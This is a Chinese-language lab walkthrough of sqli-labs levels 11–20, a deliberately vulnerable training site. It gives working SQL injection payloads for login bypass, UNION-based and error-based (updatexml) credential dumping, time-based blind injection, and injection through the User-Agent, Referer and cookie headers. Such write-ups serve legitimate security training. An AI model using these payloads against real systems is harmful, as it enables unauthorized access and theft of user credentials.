sqli-labs闯关(11-20)
sqli-labs闯关(11-20)
less-11
1、11-20关都为post传递,我们可以使用burp抓包来修改post提交的数据。
首先在用户名后输入一个单引号看看是否有报错,这里发现有报错信息
2、可以使用sql注入的后台绕过方法登录试一下这里用户名输入 admin' or 1=1 # 发现登录成功
3、接下来就可以使用order by爆字段,接着用union联合查询爆用户名和密码了,这里用的是hackbar使用POST提交
uname=1admin' union select group_concat(username),group_concat(password) from users#&passwd=123&submit=Submit
less-12
1、这关和11关类似只不过这边闭合方式为 ") 只需要把登录的用户名改为 admin") or 1=1 #
2、同样的方法爆用户名和密码
less-13
1、这一关的闭合方式为 ') 登录用户名为 admin') or 1=1 # 发现登录成功但是没有回显数据
2、这里可以使用盲注和报错的方法爆用户名和密码,盲注步骤较长,这里使用报错的方法,爆密码
&uname=admin') and updatexml(1,concat(0x7e,(select password from users limit 0,1)),0)#&passwd=123&submit=Submit
less-14
1、这关和13关一样只不过闭合方式为双引号登录名为 admin" or 1=1 ,这里登录后也没有任何回显,用同样的方法
less-15
1、这一关是单引号闭合登录后没有回显,也没有报错,这里可以用时间延迟注入,根据网页的响应时间来逐字猜,这里使用if函数,提交到POST中
&uname=admin' and if(substr((select password from users limit s0,1),1,1)='d',sleep(5),1)#&passwd=admin&submit=Submit
less-16
1、这里和15关是一样的只不过是从单引号闭合变成双引号闭合,方法一样
less-17
1、这一关发现不管怎么在用户名输入都不行,应该时对用户名做了过滤,当我们输入admin时发现不需要密码或者随意密码也能直接登录,并且这里也没有回显
2、我们可以尝试在密码处进行注入,通过在密码处输入单引号发现有报错信息
3、使用报错注入,在密码内输入,爆数据库名
1' or updatexml(1,concat('#',(select database())),1)#
4、当让也可以用hackbar使用POST提交,是一样的
5、直接爆用户名和密码
uname=admin&passwd=1' and updatexml(1,concat('#',(select * from (select concat_ws (' ',id,username,password) from users limit 0,1) a)),1)##&submit=Submit
less-18
1、发现使用任何方法这里都登录不上去也没有回显信息,,这里的username和password应该做了严格的过滤,只能输入正确的用户名和密码试一下,发现有显示User-Agent信息
2、这里使用header头部注入,修改User-Agent的值,这里用hackbar进行注入,注意这里需要登录成功才行
爆数据库
' and updatexml(1,concat(0x7e,database()),1),"1","1")#
爆列名
' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' limit 0,1)),0)and '1
爆password
' and updatexml(1,concat(0x7e,(select group_concat(password) from users )),0)and '1
less-19
1、这关和18关一样,只不过User-Aent换成了Referer
2、用同样的方法使用hackbar替换Referer
less-20
1、这关发现正常登录后的页面是这样的
2、发现页面中有cookie信息,根据题目提示应该清楚了这里是cookie注入,用同样的方法替换cookie试试,这里发现用不了post提交,回显不正确,所以直接用的cookie